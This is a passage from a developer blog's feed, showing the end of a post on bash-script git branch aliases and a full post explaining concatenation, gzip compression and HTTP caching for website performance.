&lt;pre class=&quot;shiki oroshi&quot; style=&quot;background-color:#0c0f15;color:#d1d5db&quot; tabindex=&quot;0&quot; wordDiffLines=&quot;&quot;&gt;&lt;code class=&quot;language-sh&quot;&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#F87171&quot;&gt;$&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt; git&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt; branch-exists&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt; foo&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#F87171&quot;&gt;$&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt; echo&lt;/span&gt;&lt;span style=&quot;color:#22D3EE&quot;&gt; $?&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#F87171&quot;&gt;1&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#F87171&quot;&gt;$&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt; git&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt; branch-exists&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt; master&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#F87171&quot;&gt;$&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt; echo&lt;/span&gt;&lt;span style=&quot;color:#22D3EE&quot;&gt; $?&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#F87171&quot;&gt;0&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;pre class=&quot;shiki oroshi&quot; style=&quot;background-color:#0c0f15;color:#d1d5db&quot; tabindex=&quot;0&quot; wordDiffLines=&quot;&quot;&gt;&lt;code class=&quot;language-sh&quot;&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#6B7280&quot;&gt;#!/usr/bin/env bash&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#6B7280&quot;&gt;# git-branch-exists&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#F87171&quot;&gt;git&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt; show-branch&lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt; $1&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt; &amp;#x26;&lt;/span&gt;&lt;span style=&quot;color:#38A169&quot;&gt;&gt;&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;/dev/null&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Note that we simply pass the name of the branch to test as the &lt;code&gt;$1&lt;/code&gt; variable and
hide any output the command might create. I suggest you configure your terminal
prompt so you can easily see if the last command was a success or not.&lt;/p&gt;
&lt;h2&gt;Creating the &lt;code&gt;foo&lt;/code&gt; branch&lt;/h2&gt;
&lt;p&gt;There are two ways to create branches in git. Either simply creating it and
staying on your current one, or creating one and switching to it. I&#39;ve decided
that my alias should do the second command, because more often than not, when I
need to create a new branch, I also need to switch to it.&lt;/p&gt;
&lt;pre class=&quot;shiki oroshi&quot; style=&quot;background-color:#0c0f15;color:#d1d5db&quot; tabindex=&quot;0&quot; wordDiffLines=&quot;&quot;&gt;&lt;code class=&quot;language-sh&quot;&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#F87171&quot;&gt;$&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt; git&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt; branch-create&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt; foo&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#F87171&quot;&gt;Switched&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt; to&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt; a&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt; new&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt; branch&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt; &#39;foo&#39;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;pre class=&quot;shiki oroshi&quot; style=&quot;background-color:#0c0f15;color:#d1d5db&quot; tabindex=&quot;0&quot; wordDiffLines=&quot;&quot;&gt;&lt;code class=&quot;language-sh&quot;&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#6B7280&quot;&gt;#!/usr/bin/env bash&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#6B7280&quot;&gt;# git-branch-create&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#F87171&quot;&gt;git&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt; checkout&lt;/span&gt;&lt;span style=&quot;color:#EA580C&quot;&gt; -b&lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt; $1&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;This one is easy too, we&#39;ve simply aliased &lt;code&gt;git branch-create&lt;/code&gt; to the
&lt;code&gt;git checkout -b&lt;/code&gt; we&#39;re used to call.&lt;/p&gt;
&lt;h2&gt;Deleting the local &lt;code&gt;foo&lt;/code&gt; branch&lt;/h2&gt;
&lt;p&gt;We&#39;re talking here about deleting a local branch. We&#39;ll see how to delete a
remote branch in the next part.&lt;/p&gt;
&lt;pre class=&quot;shiki oroshi&quot; style=&quot;background-color:#0c0f15;color:#d1d5db&quot; tabindex=&quot;0&quot; wordDiffLines=&quot;&quot;&gt;&lt;code class=&quot;language-sh&quot;&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#F87171&quot;&gt;$&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt; git&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt; branch-delete&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt; foo&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#F87171&quot;&gt;Deleted&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt; branch&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt; foo&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt; (was &lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt;05d51b4&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;).&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;pre class=&quot;shiki oroshi&quot; style=&quot;background-color:#0c0f15;color:#d1d5db&quot; tabindex=&quot;0&quot; wordDiffLines=&quot;&quot;&gt;&lt;code class=&quot;language-sh&quot;&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#6B7280&quot;&gt;#!/usr/bin/env bash&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#6B7280&quot;&gt;# git branch-delete&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#F87171&quot;&gt;git&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt; branch&lt;/span&gt;&lt;span style=&quot;color:#EA580C&quot;&gt; -D&lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt; $1&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;This one is pretty easy too, we&#39;ve simply aliased &lt;code&gt;git branch-delete&lt;/code&gt; to
&lt;code&gt;git branch -D&lt;/code&gt;.&lt;/p&gt;
&lt;h2&gt;Deleting the remote &lt;code&gt;foo&lt;/code&gt; branch&lt;/h2&gt;
&lt;p&gt;Now we want to delete the &lt;code&gt;foo&lt;/code&gt; branch from the remote.&lt;/p&gt;
&lt;pre class=&quot;shiki oroshi&quot; style=&quot;background-color:#0c0f15;color:#d1d5db&quot; tabindex=&quot;0&quot; wordDiffLines=&quot;&quot;&gt;&lt;code class=&quot;language-sh&quot;&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#F87171&quot;&gt;$&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt; git&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt; branch-remove-remote&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt; foo&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#F87171&quot;&gt;To&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt; git@github.com:user/repo&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#F87171&quot;&gt; -&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt; [deleted]         foo&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;pre class=&quot;shiki oroshi&quot; style=&quot;background-color:#0c0f15;color:#d1d5db&quot; tabindex=&quot;0&quot; wordDiffLines=&quot;&quot;&gt;&lt;code class=&quot;language-sh&quot;&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#6B7280&quot;&gt;#!/usr/bin/env bash&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#6B7280&quot;&gt;# git branch-remove-remote&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#F87171&quot;&gt;git&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt; push&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt; origin&lt;/span&gt;&lt;span style=&quot;color:#EA580C&quot;&gt; --delete&lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt; $1&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;This version of the alias is pretty simple and only allows deleting branches
from &lt;code&gt;origin&lt;/code&gt;. If you want to be able to delete branches from other remotes,
have a look at the &lt;a href=&quot;https://github.com/pixelastic/oroshi/blob/master/scripts/bin/git-branch-remove-remote&quot;&gt;complete script I&#39;m using&lt;/a&gt;.&lt;/p&gt;
&lt;h2&gt;Conclusion&lt;/h2&gt;
&lt;p&gt;What I really like about those aliases is how they add consistency to the git
command. Instead of using &lt;code&gt;git checkout&lt;/code&gt;, &lt;code&gt;git show-branch&lt;/code&gt; or &lt;code&gt;git branch&lt;/code&gt; for
commands that deals with branches, we&#39;ve adding a namespace and we&#39;re now only
using command that starts with &lt;code&gt;git branch-&lt;/code&gt;. If you have git command
autocompletion, this makes using them much much pleasant.&lt;/p&gt;
&lt;p&gt;I have aliases to do the same kind of things for tags and remotes, but I&#39;ll
detail them in a future post.&lt;/p&gt;
</content>
  </entry>
  <entry>
    <title>Concatenate, Compress, Cache</title>
    <link href="https://blog.pixelastic.com/2015/03/04/concatenate-compress-cache/"/>
    <updated>2015-03-04T00:00:00Z</updated>
    <id>https://blog.pixelastic.com/2015/03/04/concatenate-compress-cache</id>
    <content type="html">&lt;p&gt;&lt;em&gt;This post is cross-posted on the
&lt;a href=&quot;http://blog.octo.com/en/concatenate-compress-cache/&quot;&gt;Octo Technology blog&lt;/a&gt;&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;When trying to optimize the performance of your website, there are three main
elements that should be on your top priority list. Three very easy-to-implement
steps that can have a great impact on your website load time.&lt;/p&gt;
&lt;p&gt;These three methods are named concatenation, compression and cache. I&#39;ve already
talked about them in a
&lt;a href=&quot;https://www.youtube.com/watch?v=ecc1zudWmX4&quot;&gt;previous talk&lt;/a&gt; (in French), but
we&#39;ll now cover them in full detail.&lt;/p&gt;
&lt;h2&gt;Concatenate&lt;/h2&gt;
&lt;p&gt;The main goal of concatenation is to merge several files of the same type in one
final file. Doing so will allow us to transfer less files over the wire. CSS and
JavaScript files are the one that yields the better results.&lt;/p&gt;
&lt;p&gt;The nature of downloading assets itself makes your browser pay some costs on
every request, and in the end all those lost milliseconds adds up. Let&#39;s have a
look at the different costs we&#39;re paying:&lt;/p&gt;
&lt;h3&gt;TCP Slow start&lt;/h3&gt;
&lt;p&gt;TCP is the underlying protocol used by HTTP. It uses a mechanism known as
slow-start to get to the optimal transfer speed. To do so, it must do a few
round trips between the client and the server, sending more and more data, until
some are dropped, in order to get the maximum possible sending/receiving
throughput.&lt;/p&gt;
&lt;p&gt;If we send a lot of small files, the mechanism never has time to reach the
optimal speed, and must start its round trips again on the next file. By
grouping files together in one bigger file, the cost of calculating the max
speed is only paid once and the remaining of the file can be downloaded at full
speed.&lt;/p&gt;
&lt;p&gt;Note that maintaining &lt;code&gt;Keep-Alive&lt;/code&gt; connections on your server can let you reuse
a previous connection, and thus only pay this cost once. Unfortunately,
activating &lt;code&gt;Keep-Alive&lt;/code&gt; on an Apache server will also limit the number of
parallel connection your server can handle.&lt;/p&gt;
&lt;h3&gt;SSL&lt;/h3&gt;
&lt;p&gt;Similarly, the same kind of cost is paid when serving the site using &lt;code&gt;https&lt;/code&gt;. In
order to prove that both client and server really are who they claiming to be,
an exchange of keys is done through a secure handshake. Once again, the cost of
the handshake is paid on each downloaded asset. Putting all your files in one
lets you pay the cost only one.&lt;/p&gt;
&lt;h3&gt;Parallel connections&lt;/h3&gt;
&lt;p&gt;Finally, the last limiting factor is purely in the client browser. Each browser
keeps track of a max number of parallel connections it can maintain opened to
any given server. The HTTP spec officially set this number to 2, but in the real
world browsers usually have a higher value, ranging from 8 to 12.&lt;/p&gt;
&lt;p&gt;This means that if you ask your browser to download 5 stylesheets, 5 scripts and
10 images, it will only launch the download of the 12 first elements. The 13th
asset download will only be started once one of the 12th first will be finished.
Once again, grouping your files together will allow you to have more opened
channels that will be used to download important assets of your page.&lt;/p&gt;
&lt;p&gt;CSS and JavaScript files can be very easily concatenated. You only have to
create one final file that simply contains the content of all your initial
files. Your build process can easily take care of that, but a very simple
solution can be written in a few lines:&lt;/p&gt;
&lt;pre class=&quot;shiki oroshi&quot; style=&quot;background-color:#0c0f15;color:#d1d5db&quot; tabindex=&quot;0&quot; wordDiffLines=&quot;&quot;&gt;&lt;code class=&quot;language-sh&quot;&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#F87171&quot;&gt;cat&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt; ./src/&lt;/span&gt;&lt;span style=&quot;color:#22D3EE&quot;&gt;*&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt;.css&lt;/span&gt;&lt;span style=&quot;color:#38A169&quot;&gt; &gt;&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt; ./dist/styles.css&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#F87171&quot;&gt;cat&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt; ./js/&lt;/span&gt;&lt;span style=&quot;color:#22D3EE&quot;&gt;*&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt;.js&lt;/span&gt;&lt;span style=&quot;color:#38A169&quot;&gt; &gt;&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt; ./dist/scripts.js&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Please note that merging image files is also possible (and is named CSS
Spriting) but is out of the scope of this article.&lt;/p&gt;
&lt;h2&gt;Compression&lt;/h2&gt;
&lt;p&gt;Now that we&#39;ve reduced the number of files, the next logical step is to make
this files smaller, so they can be downloaded faster.&lt;/p&gt;
&lt;p&gt;Fortunately, the web has a magic word named Gzip that will reduce the size of
each textual asset by an average of 66%.&lt;/p&gt;
&lt;p&gt;The good news is that most of the assets that we use to build a website are
actually made from text. Main bricks like HTML, CSS and JS of course but also
output from your API (JSON and XML). A lot of other format are in fact XML in
disguise, like RSS, web fonts or SVG images.&lt;/p&gt;
&lt;p&gt;It is rare enough to be pointed out, but Gzip is perfectly supported by all
major browsers and servers (even as far back as IE5.5). There are absolutely no
reason to not use it.&lt;/p&gt;
&lt;p&gt;If a browser does support Gzip, it will send an &lt;code&gt;Accept-Encoding: gzip&lt;/code&gt; header
to the server. If the server find this header in the request, it will compress
the file on the fly before returning it to the client. It will also add the
&lt;code&gt;Content-Encoding: gzip&lt;/code&gt; header, and the browser will uncompress once received.&lt;/p&gt;
&lt;p&gt;The main point here is to have a smaller file moving across the wire. Server and
client will respectively compress and decompress the data, but the added
overhead is negligible on any machine built in the last decade. Having much less
data to transfer over the wire will give you tremendous speed improvements.&lt;/p&gt;
&lt;p&gt;Gzip compression modules are already available on all kind of servers, all you
have to do is enable them. You simply configure which kind of files must be
compressed, referencing them by their mimetype. You&#39;ll find below a few examples
on the most common servers:&lt;/p&gt;
&lt;h3&gt;Apache&lt;/h3&gt;
&lt;pre class=&quot;shiki oroshi&quot; style=&quot;background-color:#0c0f15;color:#d1d5db&quot; tabindex=&quot;0&quot; wordDiffLines=&quot;&quot;&gt;&lt;code class=&quot;language-apache&quot;&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;&amp;#x3C;IfModule &lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt;mod_deflate.c&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;&gt;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;  &amp;#x3C;IfModule &lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt;mod_filter.c&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;&gt;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#38A169&quot;&gt;    AddOutputFilterByType&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt; DEFLATE &quot;application/javascript&quot; &quot;application/json&quot; &#92;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;    &quot;text/css&quot; &quot;text/html&quot; &quot;text/xml&quot; [...]&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;  &amp;#x3C;/IfModule&gt;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;&amp;#x3C;/IfModule&gt;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;Lighttpd&lt;/h3&gt;
&lt;pre class=&quot;shiki oroshi&quot; style=&quot;background-color:#0c0f15;color:#d1d5db&quot; tabindex=&quot;0&quot; wordDiffLines=&quot;&quot;&gt;&lt;code class=&quot;language-text&quot;&gt;&lt;span class=&quot;line&quot;&gt;&lt;span&gt;server.modules += ( &quot;mod_compress&quot; )&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;compress.filetype  = (&quot;application/javascript&quot;, &quot;application/json&quot;, &#92;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;&quot;text/css&quot;, &quot;text/html&quot;, &quot;text/xml&quot;, [...] )&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;Nginx&lt;/h3&gt;
&lt;pre class=&quot;shiki oroshi&quot; style=&quot;background-color:#0c0f15;color:#d1d5db&quot; tabindex=&quot;0&quot; wordDiffLines=&quot;&quot;&gt;&lt;code class=&quot;language-nginx&quot;&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#38A169&quot;&gt;gzip &lt;/span&gt;&lt;span style=&quot;color:#EA580C&quot;&gt;on&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#38A169&quot;&gt;gzip_comp_level &lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt;6&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#38A169&quot;&gt;gzip_types &lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;application/javascript application/json text/css text/html text/xml&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;[...];&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Enabling Gzip is really easy to set and it greatly improves loading time. You do
not have to change anything on the served files, all the configuration occurs in
the servers.&lt;/p&gt;
&lt;h3&gt;Minification&lt;/h3&gt;
&lt;p&gt;If you want to go even farther, you can invest on minifying your assets. Once
again, HTML, CSS and JavaScript are the best languages for minification.&lt;/p&gt;
&lt;p&gt;Minification is a process that will rewrite all your assets in a lighter
version, using less characters, and thus being smaller to download. In essence,
it will remove comments and new lines, but language-specific minification tool
can also rename variable in your JS to shorter ones, group CSS selectors or
remove useless HTML attributes.&lt;/p&gt;
&lt;p&gt;Adding a minification tool to your build process is more complex than enabling
Gzip and yields less impressive results. That&#39;s why we highly recommend that you
do not try to tackle it until you&#39;ve enabled Gzip.&lt;/p&gt;
&lt;h2&gt;Cache&lt;/h2&gt;
&lt;p&gt;Now that we&#39;ve limited the number of files and slimmed them down, the next step
is to download them as seldom as possible.&lt;/p&gt;
&lt;p&gt;The main idea here is that there is no need to download something that your user
already has on its hard drive.&lt;/p&gt;
&lt;p&gt;We&#39;re going to start by explaining how the HTTP cache mechanism works. This is
an area that is usually not very well understood by developers, so we&#39;ll try to
make it clearer. The main element is that there are two very different parts in
the HTTP cache: &lt;em&gt;freshness&lt;/em&gt; and &lt;em&gt;validation&lt;/em&gt;.&lt;/p&gt;
&lt;h3&gt;Freshness&lt;/h3&gt;
&lt;p&gt;Freshness is best understood as a &amp;quot;best-before&amp;quot; date for your assets. When
downloading an asset, the server send it with a header telling us until when the
asset will be considered fresh.&lt;/p&gt;
&lt;p&gt;If the client needs the same asset again, it first checks the freshness of the
one in its cache. If it is still fresh, it does not start a request to the
server and directly use it. Nothing can be faster than that, because there is
absolutely no network involved.&lt;/p&gt;
&lt;p&gt;On the other hand, if the freshness date is overdue, the browser will start a
new connection to get the latest version.&lt;/p&gt;
&lt;p&gt;In HTTP 1.0, the server returns an &lt;code&gt;Expires&lt;/code&gt; header including the max freshness
date. For example: &lt;code&gt;Expires: Thu, 04 May 2015 20:00:00 GMT&lt;/code&gt;. This means that
when the client asks for the same asset again before May 4th 2015 at 8pm, it
will simply read it from its cache.&lt;/p&gt;
&lt;p&gt;This header has a major flaw in the fact that dates are absolutely fixed and
thus the cache of all your clients will be invalidated at the same time. On May
4th, all your clients will request the new version of your asset at the same
time and your server might not be able to cope with all those connections.&lt;/p&gt;
&lt;p&gt;To limit this effect and give a bit more flexibility in handling the cache, HTTP
1.1 introduced a new header. &lt;code&gt;Cache-Control&lt;/code&gt; accepts several arguments, but the
one we&#39;re interested in here is &lt;code&gt;max-age&lt;/code&gt;. It lets you define a cache duration
in seconds.&lt;/p&gt;
&lt;p&gt;Your server can now answer with a &lt;code&gt;Cache-Control: max-age=3600&lt;/code&gt; header. It tells
the client that the asset will still be fresh for the next minute (3600
seconds). By using this header, you can space your calls over a longer period.&lt;/p&gt;
&lt;h3&gt;Validation&lt;/h3&gt;
&lt;p&gt;The second part of caching is named &lt;em&gt;validation&lt;/em&gt;. Let&#39;s imagine that our asset
is no longer fresh. We&#39;ll need to grab the latest version on the server. But it
is perfectly possible that the asset on the server hasn&#39;t been updated since the
last time the client fetched it. In that case it would be useless to download it
all over again.&lt;/p&gt;
&lt;p&gt;That&#39;s when the &lt;em&gt;validation&lt;/em&gt; kicks in. If the asset on the client is identical
than the one on the server, the client can keep its local version. If the two
assets are different, then the client downloads the new version from the server.&lt;/p&gt;
&lt;p&gt;How does it work? When the client got the asset for the first time, it fetched
it along with a &lt;code&gt;Last-Modified&lt;/code&gt; header. For example
&lt;code&gt;Last-Modified: Mon, 04 May 2015 02:28:12 GMT&lt;/code&gt;. This means that the next time
the client will make a request to get the same asset, it will send this date in
the &lt;code&gt;If-Modified-Since&lt;/code&gt; request header:
&lt;code&gt;If-Modified-Since: Mon, 04 May 2015 02:28:12 GMT&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;The server will then compare the sent date with the one it has on its side. If
the two dates matches, it will return a &lt;code&gt;304 Not Modified&lt;/code&gt; status, telling the
client that the content has not changed. The client in turn will use its local
version, and we avoided transmitting useless data over the wire.&lt;/p&gt;
&lt;p&gt;On the other hand, if the server file is newer than the client file, the server
will with a &lt;code&gt;200 OK&lt;/code&gt; alongside the new content. That way, the client will now
download and use the new version.&lt;/p&gt;
&lt;p&gt;By correctly using the validation mechanism, we avoid downloading a content we
already have.&lt;/p&gt;
&lt;p&gt;In both cases, the server sends the freshness information again.&lt;/p&gt;
&lt;p&gt;The HTTP spec allows us to choose between two couples of headers. We can either
use the &lt;code&gt;Last-Modified&lt;/code&gt; / &lt;code&gt;If-Modified-Since&lt;/code&gt; headers, as we just saw, or use
ETags.&lt;/p&gt;
&lt;p&gt;An ETag is a unique identifier hash for a file. Whenever a file is updated, its
ETag will change too. For example, on the first call the server will return an
&lt;code&gt;ETag: &amp;quot;3e86-410-3596fbbc&amp;quot;&lt;/code&gt; header. When the client will ask for this asset
again, it will send an &lt;code&gt;If-None-Match: &amp;quot;3e86-410-3596fbbc&amp;quot;&lt;/code&gt; header. The server
will in turn compare the two ETags and either return a &lt;code&gt;304 Not Modified&lt;/code&gt; if
they are the same, or a &lt;code&gt;200 OK&lt;/code&gt; with the new content if they are different.&lt;/p&gt;
&lt;p&gt;&lt;code&gt;Last-Modified&lt;/code&gt; and &lt;code&gt;ETag&lt;/code&gt; use very similar mechanism, but we advise you to use
&lt;code&gt;Last-Modified&lt;/code&gt; over &lt;code&gt;ETag&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;Indeed, the HTTP spec tells us that in the case of receiving both a
&lt;code&gt;Last-Modified&lt;/code&gt; and an &lt;code&gt;ETag&lt;/code&gt;, the client should use the &lt;code&gt;Last-Modified&lt;/code&gt;. In
addition, most servers generate their ETag using the inode of the file on disk,
so anytime the file is changed, it is reflected in its ETag.&lt;/p&gt;
&lt;p&gt;Unfortunately, this can cause issues if you have several servers serving the
same content behind a load-balancer. Each server will have a copy of your files,
but on different filesystems which will result on different inodes, thus
different ETags for the same file. And your whole validation system will not
work as soon as your user gets redirected to a new server.&lt;/p&gt;
&lt;p&gt;Note that nginx does not have this issue as it does not use the inode when
generating ETags. If using Apache, you can fix it with the &lt;code&gt;FileETag MTime Size&lt;/code&gt;
option, or with &lt;code&gt;etag.use-inode = &amp;quot;disable&amp;quot;&lt;/code&gt; under lighttpd.&lt;/p&gt;
&lt;h3&gt;Summary&lt;/h3&gt;
&lt;p&gt;&lt;img src=&quot;/img/files/cache-graph.png&quot; alt=&quot;Cache graph&quot;&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;The client makes a first request to get an asset. It gets a
&lt;code&gt;Cache-Control: max-age&lt;/code&gt; header indicating freshness, and a &lt;code&gt;Last-Modified&lt;/code&gt;
for validation.&lt;/li&gt;
&lt;li&gt;If requesting the same asset again while this one is still fresh, no network
connection is made and the asset is directly read from the local disk.&lt;/li&gt;
&lt;li&gt;If requesting the same asset after its freshness date, the client makes a call
to the server, sending along an &lt;code&gt;If-Modified-Since&lt;/code&gt; header.&lt;/li&gt;
&lt;li&gt;If the file on the server has a modification date equal to the one sent, it
then returns with a &lt;code&gt;304 Not Modified&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;If the file has been modified since the last time, the server answers with a
&lt;code&gt;200 OK&lt;/code&gt; alongside the new content.&lt;/li&gt;
&lt;li&gt;In both cases, the server returns a new &lt;code&gt;Cache-Control&lt;/code&gt; and &lt;code&gt;Last-Modified&lt;/code&gt;.&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;Cache invalidation&lt;/h3&gt;
&lt;p&gt;Caching is a hard to tame beast, and we all know that:&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;There are two hard things in Computer Science: cache invalidation and naming
things.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;And that&#39;s right, invalidating the cache of our clients when we need to push a
modification is extremely difficult. It&#39;s actually so difficult that we&#39;re not
going to do it at all.&lt;/p&gt;
&lt;p&gt;Browsers cache stuff according to their URL. So if we need to update some
content, we only need to change its URL. URLs are cheap, we have them in
unlimited quantity, we can create as many as we need. We can add a version
number, a timestamp or a hash to our original filename and generate a whole new
URL.&lt;/p&gt;
&lt;p&gt;For example: &lt;code&gt;style-c9b5fd6520f5ab77dd823b1b2c81ff9c461b1374.css&lt;/code&gt; instead of
&lt;code&gt;style.css&lt;/code&gt;.&lt;/p&gt;
